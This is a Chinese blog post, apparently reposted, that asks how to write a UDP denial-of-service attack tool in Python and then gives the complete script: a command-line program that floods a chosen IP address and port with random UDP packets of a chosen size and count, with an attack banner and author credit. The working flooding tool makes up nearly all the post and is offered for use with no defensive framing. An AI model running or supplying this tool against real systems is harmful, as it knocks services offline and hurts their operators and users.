当前位置:   article > 正文

Python编写DOS工具_如何用python写ms-dos7.1

如何用python写ms-dos7.1

如何用python写一个UDPDOS攻击工具?

废话不多说,上源码!

#!/bin/python3
import threading
import socket
import time
import random
import sys
def logo ():
    print (" _   _ ____  ____   _  _____ _____  _    ____ _  __")
    print ("| | | |  _ \|  _ \ / \|_   _|_   _|/ \  / ___| |/ /")
    print ("| | | | | | | |_) / _ \ | |   | | / _ \| |   | ' /")
    print ("| |_| | |_| |  __/ ___ \| |   | |/ ___ \ |___| . \ ")
    print (" \___/|____/|_| /_/   \_\_|   |_/_/   \_\____|_|\_\ ")
    print ("\n [-]请填写足够运行的参数: python3",sys.argv[0]," [ip] [port] [len] [max]\n\n----作者:ms9944")
class udpattack():
    def start(ip,port,len,max):
        try:
            attack = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
            address = (str(ip), port)
            ipaddr = (ip, port)
            l = 1
            while l <= len:
                attack.sendto(random._urandom(1024 * max), ipaddr)
                print(" Attack!==>ip:", ip,"==>port:", str(port)," ==>", str(len), "s==>max" , str(max))
                l = l + 1
        except KeyboardInterrupt:
            print ("攻击停止......")
if __name__ == "__main__":
    if len(sys.argv)!= 5:
        logo()
    else:
         udpattack.start(sys.argv[1],int(sys.argv[2]),int(sys.argv[3]),int(sys.argv[4]))

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
'
运行
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/你好赵伟/article/detail/829681
推荐阅读
相关标签
  

闽ICP备14008679号